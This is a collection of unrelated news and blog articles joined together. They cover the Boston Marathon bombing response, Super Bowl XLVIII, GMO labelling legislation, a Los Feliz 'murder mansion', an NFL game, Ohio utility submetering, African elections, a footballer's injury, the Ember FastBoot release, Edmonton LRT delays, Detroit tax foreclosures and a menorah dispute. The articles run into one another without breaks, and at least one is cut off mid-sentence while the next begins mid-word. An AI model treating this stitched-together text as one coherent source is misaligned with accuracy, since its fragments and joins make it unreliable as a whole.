The first entry appeared at 5:39 p.m., only a few hours after the explosions occurred. The most recent entry (as of this writing) comes two hours later, at 7:40. More than 4,000 people put their personal information on the Internet for everyone to see because they wanted total strangers to come over to their houses and rest and feel better. Think about that.
A random name picked out led us to Jonathan Zuker in Rockport. He picked up on the first ring.
"I was monitoring the Boston.com live blog," he says. "I run a cancer non-profit. We know a lot of people running for charities. When I saw they were looking for volunteers … anything you can do to help. At least extend that offer. We're all in this together."
Zuker was crushed when he heard about the explosions and the casualties. He describes the finish line at the marathon as "the happiest place on Earth." An attempt to ruin that would not stand with him, or anyone else for that matter. He was heartened but not at all surprised to see so many people rushing to assist.
"I think that's the best of our country," he said. "It's Patriots Day. It's uniquely ours."
[Related: NBA cancels Celtics game after explosions]
Rockport isn't even close to Boston. Neither are a lot of towns on the list. But no matter. Maybe some runner, or runner's relative, will see this spreadsheet and imagine thousands of living-room lights being left on for them all over the Commonwealth.
"There's more good people out there than bad people," Zuker says. "And it's way more. The scales aren't even close."
He's right. There were perhaps one or two evildoers on Monday. And the list of good people goes on and on, growing by the minute, lined up in rows, ready to do anything to help.
More Boston Marathon explosions coverage on Yahoo!:
• Twitter reaction to the Boston Marathon explosions
• Boston Bruins postpone home game following explosions
• Watch: Witness on 'horrifying' moments in BostonGetty Images
EAST RUTHERFORD, N.J. — We haven't seen defensive dominance like this in decades. It was better than the 2000 Baltimore Ravens. Maybe even better than the 1985 Chicago Bears. Maybe better than anyone, ever. In one fell swoop, the Seattle Seahawks made a case for having the best defense of all time, while also destroying a legend.
Seattle 43, Denver 8. Peyton Manning's big-game legacy: doomed.
This is perhaps the most telling statistic to emerge from Super Bowl XLVIII and why the Seahawks won it: Denver had the best offense in football, but after the first quarter the Broncos had accumulated zero first downs and had run just seven plays for 11 yards. The Seahawks made a statement and that statement was, "We are whipping your butt."
The Broncos' response was to let them.
Seattle's steamrolling proceeded in bloodied and brutal increments: 2-0, then 5-0, then 8-0 and soon it was 22-0. By the third quarter, that Seahawks defense, with some help from special teams and the offense, had a 36-0 lead. This wasn't the Bears against overmatched quarterback Tony Eason of the Patriots after that historic 1985 Chicago season. The Seahawks were playing Peyton Manning. Denver's offense was the greatest of all time.
Stephen Dunn/Getty Images
This wasn't a football game. This was a coronation of the greatness of the Seahawks as they marched through Manning and Denver like they were wearing Ironman suits. Yes, the dominant Seahawks, give them their praise, put this defense up among the best of all time.
Yet this game is also about Manning. In many ways, it is all about Manning.
This disaster, this nationally televised disgrace, is not the fault of a singular man. Seattle's dominance was overwhelming, its victory total, its place in history secure. No, this is not the fault of a singular person, but history will view it that way.
History will look at the Seahawks' disembowelment of Denver, the absolute physical mauling of the Broncos, and make it more about the big-game helplessness of Manning. Yet again.
It is Manning who will get the blame. It is fair. It isn't fair. It is both. It is neither. It is in many ways typical Manning because it was the Super Bowl and, yet again, he was not good in it.
Yet again, Manning does the opposite of greatness. In the smallest of spots, like scoring a bazillion points in the regular season, he wins. In the biggest of spots, where heart matters most, he loses. It is fair. It isn't fair. It is both. It is neither, but this is football, and this is history, and once again we are talking about Manning being on the wrong side of it. Manning has now played in three of these, and he has not played well in any of them, not even the single game he won.
Where Manning deserves a huge portion of the blame is in effectiveness and demeanor. It started early when the tone of the game was set. Manning started to see ghosts. He saw a pass rush that wasn't real, and then when it became real things only got worse. It came down to a simple fact: A guy many consider to be the best quarterback ever was…scared.
"I wasn't sharp from the get-go," Manning said.
"It's not an easy pill to swallow, but eventually we have to."
Manning was contrite, calm and professional. Like he always is.
But the Seahawks defense does this to most teams. Their hits knock both courage and fillings from the human body. But this was Super Bowl XLVIII, and this was Manning. He's supposed to be elite. He's not supposed to look like this. A quarterback of his pedigree is supposed to display courage and guile and elasticity in spots like these. Like Joe Montana. Or Terry Bradshaw. Or Johnny Unitas. Instead, Manning was…scared.
Charlie Riedel/Associated Press
Manning was the regular-season MVP, and the Broncos set the record for most points scored in a season with 606. They also had 76 touchdowns, another record. Three times during the regular season, Denver scored at least 50 points. Manning himself set records for passing yards (5,477) and touchdowns (55).
Then came the Super Bowl. Manning was 34-of-49 for 280 yards, one touchdown, two interceptions and a rating of 73.5. That's Kerry Collins-like.
"I don't want to say embarrassed," said Demaryius Thomas, "but you see what happens when you don't execute against a team like that."
The Seahawks prevent you from executing. This was a not self-imposed implosion. This one was caused by Seattle.
"The athletes they have," said Thomas. "They have a ton of athletes and All-Pros."
This game was about the mind. The will of a Seahawks team that likes to punch people in the face versus the will of a Denver offense that thrives on quick-strike power. The bashing of the Broncos wasn't just a beatdown; it was a soul-chilling piece of intimidation. They punk'd the Broncos. Especially that offense. The Seahawks threw them to the ground and stood over their carcass and dared them to do something about it, and the Broncos looked back…scared.
There are no more excuses for Manning. None. Oh, you will hear them in the coming days. He had no time. His arm was hit. He was under pressure. Sure, some of that is accurate, but damn, isn't everyone tired of blaming everyone else and everything else for Manning's failures?
Manning came into this game with the best offense in football. He had weapons around him that Tom Brady would sell his follicles for. It was all set up.
Greatness: It was his to take, and what we got was the same old Manning choke job. The same Manning faces. The same Manning who has all the regular-season records and regular-season pats on the back and regular-season greatness but shrivels in the big spots. We got the Manning who was…scared.
Chris O'Meara/Associated Press
This is not to take credit away from Seattle because its dominance is why Manning struggled. The best defenses in history are the 1985 Bears, the 2000 Ravens and the Steelers of the '70s. The undefeated 1972 Miami Dolphins are also in the mix.
What makes the Seahawks different from those teams is they dominated in an era when, more than ever, football is engineered toward helping the offense. None of those great defenses had to deal with the rule changes that Seattle has had to play with.
This is why what the Seahawks have done this season, and in the Super Bowl, is so impressive. They have been a physical group at a time when physicality is frowned upon.
Denver had to fight for every inch and took a constant series of punches to the body. There was no fight from the Broncos because the Seahawks took it from them almost immediately. After the game, Denver players and coaches said they changed almost nothing from what they did in the regular season. They did what they always do.
"Their pressure did have something to do with" the loss, head coach John Fox said, "and their pass defense was as good as advertised."
"They were very good," he said, "very fast, well-coached."
And historic.
The pick-six by MVP Malcolm Smith exemplifies the combination of intelligence and athleticism of the Seahawks. Manning dropped back to pass and looked at one side of the field. When nothing was open, he began to look to his checkdowns.
In the regular season, against teams like the Raiders, Manning can take his sweet time. But against this team, the ball has to come out fast, or boom. That's what happened. Manning got hit, the ball came out high, and Smith was off to the races.
B/R
And then there was the play that exemplifies the savagery of the Seahawks secondary. The Broncos use crossing routes like poison darts. They have been impossible for teams to stop all season. They ran another one on the first pass of the game to Demaryius Thomas. All year, Thomas makes that catch and gets yardage after the play. This time, he was smashed hard by Seattle safety Kam Chancellor.
The irony of this game is that the Seahawks were the young team, the inexperienced team, and it was 25-year-old Russell Wilson who outplayed 37-year-old Manning. Wilson was 18-of-25 for 206 yards, two touchdowns and a passer rating of 123.1.
A younger, hungrier and faster Seahawks team won. They deserved it.
And now Manning will go down as the big-game goat. Again. Yet again.Legislation dubbed the Deny Americans the Right to Know, or DARK Act (H.R. 1599), passed the House of Representatives yesterday by a vote of 275-150. The bill preempts state and local authority to label and regulate genetically engineered (GE) foods. A Senate version of this bill has not yet been introduced.
DARK Act Vote Shows House Members, |
oby-Doo episode if she had tried.
Margolis was absolutely right about one thing: Rudy Enriquez wouldn't speak with me, even after many attempts to reach him by phone and email. According to the Times, he and his family have visited often over the decades, using it exclusively for storage. He told the writer of that piece, in 2009, "I still go there often—I was there last night, in fact. I think now I'll be going more often," adding, "The only spooky thing there is me."
But I couldn't get anyone to confirm that Enriquez does still visit, or that—at 81—he's still alive. I tried the LAPD office in Los Feliz, where officers told me they hadn't heard of any "Los Feliz Murder Mansion." The only people who definitely still visit the place are internet randos.
Haunted hay ride was wack so we went to the Los Feliz murder mansion high as fuck & I'm pretty sure Lola and I were possessed for 2 seconds
— Jasmine Thomas (@Sneakypawz) October 17, 2014
Since it's a cul-de-sac, the street is silent when you visit after midnight. The mansion itself sits in a place of honor at the end, on top of a hill. The front porch offers a breathtaking view of the city, but it also leaves you feeling exposed, and visible. From there, a raccoon rustling in the shrubs at the bottom of the steep front walkway sounds like either a shambling ghoul, or—equally scary—a neighborhood security goon.
As if it were designed to look like horror-movie set dressing, the place is still full of what appears to be Dr. Perelson's furniture with cloth draped over it. Cowardly daytime visitors have glimpsed the retro furniture, including what's thought to be Perelson's old-timey black-and-white TV. Spots where the wood is rotting and peeling are especially visible when you point a flashlight at them, but since the place would have at least been spot-cleaned before it was sold to the Enriquez family, what looks like bloodstains is probably just my imagination.
There's a charge in the air that comes from knowing the murder mansion's history, and that's the experience people no doubt refer to as being "possessed" there, or feeling a "presence." That charge is especially acute because this is California, where recorded history is short, and buildings haven't changed hands dozens of times. In other states—and especially other countries—having someone die in a house probably isn't such a big deal.
Some of the windows have just the right kind of screen to keep you from seeing in, and it makes them look like they're covered with some kind of eerie silk drapery. Behind that you can make out some tantalizing outlines, but nothing identifiable. Rudy Enriquez's jumbled odds and ends just on the other side of the windows amplify the sense that you can almost sort of make out what's in there, but you can never quite be certain.
In addition to being creepy, the place is just trashed. The window frames are starting to come apart, and couldn't possibly seal shut anymore. In 2009, Enriquez had to be summoned by the city to make repairs because parts of the exterior walls were peeling off. The roof must leak when it rains.
I asked the Los Feliz Improvement Association whether it was true that there was no one looking out for it as a piece of Los Angeles history, but the only answer I got was that they "were not aware" of any effort to tear it down.
It's no mystery why people who find it interesting come and visit in spite of the neighbors' wishes: They have to see it before it's gone.
Follow Mike Pearl on Twitter.By Chip Bayless
First, the game started off with 3 punts on back to back to back drives for the Ravens and Dolphins. A real testament to these two explosive offenses. Matt Moore and the entire Dolphins offense looked like shit. In fact, the only notable plays the entire first quarter were a 21 yard rush by Jay Ajayi, and a Jeremy Maclin 34 yard touchdown catch. By the way, after Ajayi’s 21 yard play he only rushed for two more yards the entire game. He totaled 23 yards on 13 carries.
One major question about 29 year-old Jeremy Maclin once the Ravens signed him was if he still had the speed and playmaking ability that once made him a star in Philadelphia. Maclin is now three years removed from his last 1,000 yard season. On Maclin’s touchdown late in the first quarter, he displayed the speed and athleticism many of his critics thought he had lost by absolutely torching Dolphins cornerback Bobby McCain on a fade route down the sideline. Flacco deserves as much if not more of the credit as Maclin however as it was a perfect throw that was lofted past McCain’s extended arm and away from safety Nate Allen who was playing the deep half of the field.
The Maclin touchdown aside, this blowout was the result of exceptional play by the Ravens defense and the Ravens running game as running back Alex Collins gradually became a major storyline in the game. Collins had 143 yards on 20 total touches, showing the downhill, hard-nosed running style that has been so distinctive of great Ravens teams of the past. Thus far into the season, Collins is averaging a whopping 5.97 yards per carry. Collins now leads all qualified running backs in that category while rookie phenom Kareem Hunt trails close behind with 5.8 YPC. Per NBC Sports, Collins is “begging for more work”, but barely out-touched fellow Ravens running back Buck Allen 20-18.
While the Ravens were busy making plays, the Dolphins offense was busy running the wrong routes, missing blocking assignments, and creating turnovers. Offensively, the Dolphins couldn’t do anything as even simple bubble screens designed to just get the ball in Jarvis Landy’s hands were stuffed for no gain or a loss of yards on various occasions. The Dolphins were held to 87 total yards, and the Ravens averaged nearly 3 more yards per play (5.6) than the Dolphins (2.7), per Bleacher Report. In fact, the only highlight worthy play the Dolphins made was the when Kiko Alonso murdered Flacco. If you haven’t seen it for yourself here it is:
(Since this is an NFL clip the embedding feature might be disabled here. In that case, all you would need to do here is click on the option that says “Watch on YouTube”)
A couple of things here. First, regardless of whether you believe the hit was dirty or not, one must reconcile with the fact that if that play happens exactly like that in full speed, then its going to be a flag and a fine for the defender every time unless the quarterback is Cam Newton. The slide was late, but defenders in the modern NFL need to be aware that hits like that on the quarterback usually don’t fly anymore. I realize that is easier said than done considering players are attempting to make split-second decisions in the heat of the moment with adrenaline pumping furiously, but defenders simply need to try and lay off making those kinds of hits because of the way the rules are set up and because of how referees call the game.
The unsportsmanlike conduct penalties didn’t stop there. Frustrations in the fourth quarter boiled over and Ndamukong Suh grabbed Ravens backup quarterback Ryan Mallett by the throat late in the game and shoved him backwards. Between the incoming fines for Suh and Alonso, Roger Goodell might be able to buy himself some more lawyers for the Zeke case.A central Ohio lawmaker is trying a second time to pass rules that would limit the ability of unregulated "submeter" companies to mark up the costs of utilities in certain apartments and condominiums.
A central Ohio lawmaker is trying a second time to pass rules that would limit the ability of unregulated "submeter" companies to mark up the costs of utilities in certain apartments and condominiums.
Rep. Mike Duffey, R-Worthington, introduced a bill this week that says consumers would pay no more than the prices charged by regulated utilities. He sponsored another bill on the topic two years ago, one of several competing proposals, none of which passed.
Submeter companies, such as Nationwide Energy Partners and American Power & Light, act as middlemen, buy electricity and water from regulated companies and then resell them to residents in multifamily housing complexes.
"I still care about the issue," Duffey said. "Consumers are still unprotected and this is a completely unregulated area. This is the wild, wild west."
The new proposal says the Public Utilities Commission of Ohio would have a year to determine specific rules for these companies, based on guidelines in the bill. If, for some reason, the commission does not come up with rules in that time frame, then utility reselling would be banned. Duffey included the deadline to encourage the commission to move quickly.
Not everyone likes the plan."
>> Shocking Cost: The Dispatch's investigation into unregulated utility submetering
The Dispatch has reported on submeter companies since 2013, showing that some consumers are paying up to 40 percent more for electricity than they would under regulated prices. The practices are most common in large apartment complexes in central Ohio. Nationwide Energy says it has changed some of its practices and that its consumers are paying the same rates as they would from a regulated utility.
Lawmakers and consumer advocates have worked on a number of fronts to set limits on markups or even ban markups, efforts that have produced no results. There are two pending complaints before the PUCO, a proposed class-action lawsuit under way in Franklin County Common Pleas Court, and several attempts to pass legislation.
Ohio Consumers' Counsel Bruce Weston has been one of the leading supporters of new rules. His office filed one of the PUCO complaints, and he supports this new bill.
"There is a loophole in Ohio law that is allowing resellers to operate without the usual safeguards that exist for customers buying services directly from utilities," Weston said in a statement Tuesday. "We support Rep. Duffey�s new legislation... that would protect Ohioans by closing that loophole."
dgearino@dispatch.com
@dangearinoAfter decades of trying, Africa still struggles to find its own brand of democracy, one that fits each country’s unique ethnic, religious, or even clannish culture. Since 2001, the most popular model has been that of an elected leader fiddling with a constitution to stay in power. A second challenge has been the rise of religious militants, especially violent Islamists.
So it should be celebrated when an African nation triumphs over these trends. On Wednesday, a new president of the Central African Republic was sworn into office. It was a remarkable achievement for a country that was beset by autocratic rule and brutal Christian-Muslim violence only three years ago.
Faustin-Archange Touadéra, a former math professor and prime minister, took power after a relatively calm and fair election, garnering nearly two-thirds of the ballots. He promised to unify and develop his small country of 4 million. “The highest of priorities is that Central Africans live in peace together throughout the country,” he said, reflecting a sentiment heard often across the continent.
His country’s progress came a year after Africa’s most populous nation, Nigeria, held an election that saw the first peaceful transfer of power to a duly elected opposition candidate, Muhammadu Buhari. And that election was also held amid sectarian violence in the form of the Boko Haram insurgency. Kenya, too, held an election in 2013 amid continuing Islamist violence.
These examples stand in contrast to the dubious efforts of longtime leaders to cling to power, such as those in Uganda, Zimbabwe, Republic of Congo, and Rwanda. In Angola and Equatorial Guinea, leaders there have lasted 36 years. These autocrats claim to rule on the false promise of achieving economic development faster with heavy-handed governance.
Africans need more models of how to renew democracy, overcome sectarian divides, and lay the groundwork for equitable economic growth. Even its smaller nations can provide a good example.Alaba, who has been in superb form this season when fit, suffered the injury when Bosnia and Herzegovina player Ermin Bicakcic landed on his left knee.
The 22-year-old was substituted at half-time of the international friendly and it is feared he has suffered a medial ligament tear or, worse, a torn cruciate ligament.
“I’m in very, very severe pain,” Alaba said. “I can barely walk. I do not really know what’s going on.”
Alaba, who has performed a number of roles for Bayern this season, always with distinction, will be examined “in more detail” by Bayern club doctor Hans-Wilhelm Mueller-Wolfhart on Wednesday, the club have confirmed.
Austria coach Marcel Koller said: “David has problems with his left knee. He felt a pang. He is not so good.”
Alaba suffered a knee ligament injury in November in the Champions League against Roma and only returned on January 30.Ember FastBoot 1.0 Released
We are thrilled to share that we have released Ember FastBoot 1.0 (including ember-cli-fastboot addon, fastboot-app-server and other FastBoot libraries).
What is Ember FastBoot?
Ember FastBoot is a server-side rendering solution for ambitious Ember apps, allowing your Ember apps to use principles of progressive enhancement, such as an initial render of your app without JavaScript. It provides a complete solution for server-side rendering of your app from development to deployment.
FastBoot works by running your Ember app in Node and shipping the rendered HTML of your initial requested route in your index.html (which also contains scripts for your app to boot in browser) to the user. This helps you show meaningful content to your user while the JavaScript is being downloaded, and also helps the initial page of your app to paint faster. Once the JavaScript downloads and your Ember app in the browser boots, it takes over the initial rendered HTML. It also helps the content in your Ember application to be accessible to everyone, even if they have JavaScript disabled.
FastBoot brings in an ecosystem to make it easier for your Ember apps to be built and deployed in a FastBoot-friendly way. To make your Ember app run in FastBoot, you simply need to install the ember-cli-fastboot addon and make sure your app runs in Node. After installing the addon, you can continue building and developing your app using the same Ember CLI commands as you would without FastBoot. FastBoot also provides an application server ( fastboot-app-server ) to run and deploy your Ember app in a Node environment. It manages downloading the Ember app, starting multiple HTTP server processes, and detecting when new versions of the application have been deployed.
Journey to Ember FastBoot 1.0
We have been working on making Ember FastBoot a 1.0 candidate for a long time. Early on, FastBoot worked by forking your Ember build and creating a different set of assets that were meant to be loaded and run in a Node environment. This meant that the assets being shipped to the browser and to Node contained almost the same content but they were packaged as different assets. It also meant that when developing your Ember app locally, for every incremental change, a developer had to wait for both assets to finish building before testing the change. With the help and feedback of early adopters in the community, we realized this strategy was turning out to be less developer-friendly.
Therefore, to make sure the developer experience for Ember apps with FastBoot is the same as a vanilla app using Ember CLI, we decided to change the strategy on how to build the assets that need to be loaded in Node. Instead of forking the build and creating two sets of assets (one for browser and one for Node), we decided to build an additional asset for FastBoot that will be loaded with the same assets that are sent to the browser. This asset will allow apps/addons to override/add any behavior for their app when running in Node. This helped to make sure the build times with FastBoot were the same as a vanilla app.
This also unlocked the potential to be able to run the server and browser versions of an app during development with a single command: the ember serve command Ember developers are already used to.
We also exposed an additional public API in Ember CLI that allowed FastBoot to serve index.html with server rendered template using ember serve. This API allows any other addon to tap into Ember CLI’s development-time Express server, not just FastBoot.
All of these changes meant that we had to make a hard decision to break some addons’ compatibility with FastBoot. There were many addons that were made FastBoot-compatible (during early adoption), and we tried very hard to make sure these continued to work with this change. However, there was no easy way to do so in all cases without compromising the developer experience. Therefore, we realized we had to break some addons that were already FastBoot-compatible. We have a migration guide for addon authors to migrate to the new build strategy, and have already proactively reached out to many addon authors to help them resolve any compatibility issues
We’re sorry we had to make a backwards-incompatible change before the 1.0 release, but we hope you agree that the significant improvement to the developer experience is worth the pain.
By enhancing Ember CLI public API and taking advantage of those new capabilities, Ember developers that want to use FastBoot in their apps can now build their assets using ember build, serve and develop locally using ember serve. In the coming months, we will be exposing more declarative APIs in Ember CLI that will make it easy for app and addons to import assets that aren’t FastBoot-compatible.
Thank You
With this, please check out the Ember FastBoot website to learn more on how to make your Ember apps work in FastBoot. If you find any issues, please open issues in the appropriate repository in ember-fastboot.
This release wouldn’t have been possible without the help, support and feedback of the awesome Ember community. We also would not have been able to make FastBoot better without the vision and guidance of Tom Dale, Stefan Penner, Robert Jackson and the entire Ember CLI core team. Thanks to Arjan Singh, Dan McClain, Hassan Abdel-Rahman, Kelly Selden, Marco Otte-Witte, Patrick Fisher, Ron White, Simon Ihmig, Tsubomi Imamura, Travis Hoover and many other contributors who helped along the way.Mayor Don Iveson admitted Monday the long-delayed Metro LRT line has become a joke in the city and said he still has many questions about delays to the project.
"It's unfortunately become kind of an inside joke in our community now," Iveson said after council got an update on the new line that will link the NAIT campus with the existing LRT system.
The mayor said he doesn't think the delays will hurt ridership, but allowed they have raised doubts about the city's management.
"I don't think we have a huge public-relations challenge here with desire to use the system," he said. "I think people's confidence is more in question about the city's ability to manage projects. And I don't think council is done asking tough questions about that."
Trains were originally supposed to start running from Churchill Station to NAIT in April 2014. But problems with the signalling system postponed the opening several times.
On Friday, the city announced the line would open Sept. 6, with operators relying initially on their eyes rather than the new signalling system. Trains will run slower than normal, at a maximum of 25 km/h, giving them enough distance to stop if they see something on the tracks.
During Monday's meeting, several councillors asked why senior city managers weren't notified sooner about the problems.
"At what level did we know that it wasn't going well, when it wasn't going well?" asked Coun. Michael Oshry
Dorian Wandzura, who was hired as transportation manager in September 2013, said he learned within a month or two after he took over the department that the NAIT project was "struggling." He and city manager Simon Farbrother talked about the problems and told council in December that the project would be "a little late."
In February 2014, he and Farbrother met with senior officials from Thales, the company responsible for the signal system. That's when they learned the project would be "substantially late," and they told council's transportation committee in March.
Since then, the project has been delayed several times.
"We have had multiple failed launches," Wandzura said. "Including one instance that had a significant system failure that almost brought down the (main) line, that required hardware rework by the contractor."
Farbrother admitted that when the problems first cropped up, the process for sharing information wasn't working the way it should have been.
"When projects are working well, we want people to get on and do their job and finish the job," he said. "When things start to go off the tracks, sorry for the pun, then we need mechanisms where that's escalated. And if they're starting to get seriously off the tracks, then council should be aware of it. And you weren't notified in a timely fashion."
That process has changed now, so that senior managers will get better and more timely updates on future projects, he said.
Iveson said most of the problems can be blamed on the signalling contractor.
The issue stems from a dispute between the city and Thales. The company has claimed for months the system was ready to go and issued a security certificate in March. But Hatch Mott MacDonald, the city's engineering consultant, has repeatedly said there are gaps in the documentation provided by Thales.
"Some of the tests were quite vaguely written," said Gary Turner, principal project manager at Hatch Mott MacDonald. "So you'd get two test engineers who would go in, perform the tests slightly differently and get different answers. So, sometimes they would pass, sometimes they would fail. And we noticed that the ones that were passing tended to be recorded, but not necessarily the ones that had failed."
Iveson said the public should rest assured that the system is safe to open on Sept. 6, and by the time it is fully operational it will be the safest in the world.
"By the time this thing gets all of the engineers and lawyers to sign off on it, this is going to be the safest piece of railroad in the known universe."
While the system is on "line-of-sight" operation, two five-car trains will run from Century Park to Clareview during each 15-minute span of rush hour, and one three-car train will run from Century Park to NAIT.
The city has hired U.S. audit firm Rail Safety Consulting to find and address gaps in the documentation provided by Thales.
It's expected the review will be completed within six to eight weeks. Once the information gaps are closed, the city will begin the first stage of using the signalling system for the trains.
The report presented to council on Monday also made recommendations for ensuring these kinds of problems never happen again in major projects. It noted that a major project shouldn't be split into separate contracts and delivery models.
"The contract for the Metro Line was split into two parts, using two different project delivery models," the report stated.
"The civil construction is being delivered under a construction manager contract, while the signalling system is being delivered under a design/build contract."Silent Tax Foreclosure Auction Is Detroit's Largest Missed Opportunity
Back in July, the American Civil Liberties Union filed suit against Wayne County Treasurer Eric Sabree for foreclosing on owner-occupied homes in the area around Detroit. The lawsuit, which was anticipated for years, could dramatically affect the fate of thousands of families if it is successful. But even so, it will only impact about one-tenth of the properties headed for auction starting this Wednesday, Sept. 7, at 9 a.m. EST.
The Wayne County Tax Foreclosure auction is seen nationwide as an opportunity to buy Detroit homes on the cheap. But the people who have the most to gain and the most to lose in the auction – the homes' current residents – in many cases have little access to information in order to take advantage of it.
In some ways, the greater tragedy of this area's foreclosure crisis lies in the foreclosures that go unchallenged because certain infractions aren’t deemed technically illegal. There are protections for owners, for example, that simply don’t exist for renters. In last year’s auction, a full 5,000 properties went unsold, even though they could have been bought for the minimum bid of $500. Again, it was not lack of money, but lack of information, that allowed these properties to be swept aside.
These homes are now in possession of the Detroit Land Bank Authority, which has no real capacity to transition occupied properties. Meanwhile, this week's auction will pass noiselessly over those homes, and their residents, with no lawsuit or newspaper cover story to capture the deafening silence of the people inside them.
A Process That Leaves Renters in the Cold
It's true that many renters are given a hint or two about the circumstances of their property once it goes into foreclosure. But the length of the process, the obscurity of the information and the outright deception of many landlords often means many Detroiters’ homes go up for sale without them actually knowing about it. The fact is, many renters or land-contract holders miss out on the chance to buy their home in auction because they don’t know that it's for sale in the first place.
A renter’s first inkling that his or her property may be in trouble is a foreclosure notice that shows up in a yellow bag posted on the front door. It contains no information for renter and makes no mention of the auction. Ten months can go by from the time of that first notice to the occasion of the auction. But in that time, not a single piece of government mail is addressed to the renter informing them of their situation: namely, that they have a chance to buy their own home at a cut-rate price.
Rather, information about the auction comes from nonprofit groups who engage in door-knocking or snail-mail campaigns; predatory investors who “help” residents buy their homes through outrageously inflated land contract schemes; and/or the landlord himself, who either says nothing to the tenants or in some cases deliberately misleads them about their circumstances, in order to continue collecting rent for as long as possible before the house is sold.
It's difficult even for industry professionals themselves to know with any certainty whether a home is foreclosed and heading for auction. The Wayne County Treasury's generous extensions tend to benefit homeowners at the detriment of renters, who are left in a purgatory that lasts from at least April to August. During that time, no rent is owed for foreclosed homes, but the foreclosure is “reversible,” in which case a renter owes not only back rent but also is subject to fees and penalties.
Even in August, a month before the auction begins, the information isn't out there. Loveland, the foremost tracker of the WCT auction data, is often lagging in its information by a month. Even when the internet catches up, there is still no official mechanism to accurately inform renters of their situation.
At the beginning of the 2016 foreclosure cycle, in November 2015, it was estimated that 35,000 properties in the county were headed for auction. That number has now dwindled to “only” 5,500. This is good news for owners, but confusing for renters. Just as there is no auction notice confirming a property is to be sold, there is also no “safe from foreclosure” notice for those seeking to make purchase arrangements. When a landlord enters a payment plan, there is no document to prove a property is safe from foreclosure; a renter typically just has to take the landlord's word for it.
If it Feels Like a Steal, That's Because it Probably is
When the auction finally comes, it happens in the soundproof chamber of the internet, which many residents lack access to and don't have any reason to seek out if they haven’t even been informed about it. Most properties purchased in the auction are sold at a loss to buyers who make low-risk bulk impulse purchases. Many buyers are unaware of the occupancy status of an auctioned property, let alone the condition of the structure. The worst buyers walk away never paying a dollar in repairs or taxes for the home, and leave the property in limbo for another three years until the back taxes force another foreclosure.
Homes are cheap but rent isn’t. A landlord who buys a foreclosed home for $500 may charge that amount in rent every month. Even the most conscientious landlords have a split-incentive when it comes to property maintenance in a high-demand city like Detroit. As large as the city is, the habitable housing stock is extremely limited, so residents and properties usually suffer first and hardest.
On the other hand, properties not sold in the auction enter into the possession of the Detroit Land Bank Authority, which has no real capacity to manage or sell occupied properties and, as a result, they remain off the tax roll in a purgatory of government ownership. Residents can live rent-free until the toll of deferred maintenance, an irreversible water shut-off or the stress of illegitimate occupancy drives them out forever. Vacant houses quickly fall victim to scrapping and may ultimately join the queue of blighted buildings slated for demolition at the expense of the taxpayer in whose defense the foreclosure was initiated.
Ultimately, the process leads to countless scenarios where residents suddenly find themselves face to face with a stranger on their doorstep who is holding a deed and claims to have bought the home out from residents who didn’t even know it was for sale. This is the system by which some 5,000 occupied homes indefinitely swirl in the land bank’s backwaters, the yellow plastic bag stretched so thin over those nine months that it becomes transparent and practically invisible.
The Politics of Tax Foreclosure Auction
The fundamental challenge in this process seems to be this: foreclosing on properties hurts the city, but not foreclosing on them sets a dangerous precedent. A city needs taxes to function, but the taxpayer pays more to demolish homes abandoned by foreclosure than the city lost in unpaid property taxes. In this way, tax foreclosure becomes a fatal autoimmune disease, tearing up cities that it was designed to protect.
For the first time in years, tax foreclosure numbers are down. This has been lauded as a success of various payment plans, but one that belies the very real fact that nearly 100,000 of all Detroit properties are now off the tax rolls and in the coffers of the Detroit Land Bank Authority. When a person without a job gives up trying to find one, s/he is no longer counted in the unemployment numbers. Similarly, a government-owned post-foreclosure property is no longer considered delinquent, even though no taxes are being paid on it.
It is often recalled that the population of Detroit was once over 2 million, a high water mark that makes an impressive contrast to the 600,000 or so who now call the city home. Less frequently noted is the fact that, in addition to having fewer people, those who remain have fewer rights than those before them. “Effective” home ownership rates are below 50% in Detroit, down from a peak of nearly 60%. Lack of property ownership means lack of rights; taken in aggregate, the residents here have less say in their city and their own fate.
Once homeowners are decoupled from their homes, many are swept up in the chronic cycle of housing instability in Detroit, affected in no small part by tax foreclosure. Each round in the game of musical chairs weakens a person’s ties, and implied rights, to a given home or neighborhood – and makes it increasingly possible to overlook them in the already overwhelming work of addressing tax foreclosure.
Some Possible Solutions
1. Require Notice to Renters
In order to truly address the problem, local policy must either recognize the rights of the resident to know the circumstances of their own home, or at least recognize the benefit of keeping them in the loop. Even if that knowledge doesn’t result in home ownership for that resident, increased understanding of their timeline and circumstances can be invaluable. A PSA or targeted flyer could make a powerful impact with some basic facts including a) that the home is in foreclosure b) that the landlord is no longer the landlord c) that the house will be sold and d) that you could be the one to buy it.
2. Give Residents First Option to Buy
The auction is open to the public, and the winner is whoever places the highest bid. Currently, occupants have no advantage or priority over anyone else. Properties can avoid the competition of the public auction if the City of Detroit exercises its Right of First Refusal for occupied properties, or if the Wayne County Treasurer “bundles” occupied properties, as it currently does, to thousands of vacant properties.
Giving residents first dibs might mean selling the property for less than it would go for on the open market, but the long-term payout would be much greater. Providing a path to ownership to the current resident would encourage “continuous occupancy,” thereby reducing blight and displacement; ensure that the owner of the property has the highest possible incentive to care for the property; and build wealth in the city by retaining the benefits of the auction locally.
3. Share Information
Individuals, community groups and media all have a role to play in building public awareness of the auction and its processes. Even if the government started issuing foreclosure notices to non-owner residents, there would still be a need for trusted communication channels to inform and empower residents throughout the long and confusing process.
In practice, the auction is a siphon to concentrate home ownership into fewer and fewer hands. But it could likewise be a powerful tool for distributed ownership – a mechanism of manifest destiny, in a way, creating homeownership for anyone willing to "settle the land." Through the auction, a resident can become an owner for less than a few month’s rent. But first, they have to know it exists.
So many of the problems facing the city are intransigent, requiring vast sums of money or huge investments of infrastructure, not to mention a resolution of fundamental differences of opinion. The Tax Foreclosure Auction should not be one of them. Letting someone know that their house is up for sale is a hard thing to argue against and a cheap thing to implement. The home auction can be both affordable and accessible to residents. If residents of auctioned homes knew there was a buffet being served, they could at least get a seat at the table.
The Wayne County Treasurer Auction takes place online here.A recent decision banning a menorah display at a key Evergreen community building has sparked a debate over holiday decorations in the small mountain district.
From 2005 to 2009, the menorah was displayed in December on the back of the Lake House. But the Evergreen Park & Recreation District decided that the symbol cannot be put up this year.
Some members of Evergreen’s Jewish community aren’t ready to end the debate because a large tree, adjacent to the community’s popular hub, remains adorned with Christmas lights.
The colored lights on a tree are not considered by the governing bodies to be religiously affiliated.
The argument is further complicated by the arm’s-length relationship between the city and county of Denver — owners of the Lake House since the early 1900s — and the property’s manager, the Evergreen district.
In 2010, Hanukkah fell on the first week of December, so it seemed silly to have the display up all month, said Rabbi Levi Brackman, director of Judaism in the Foothills, who lives in Evergreen.
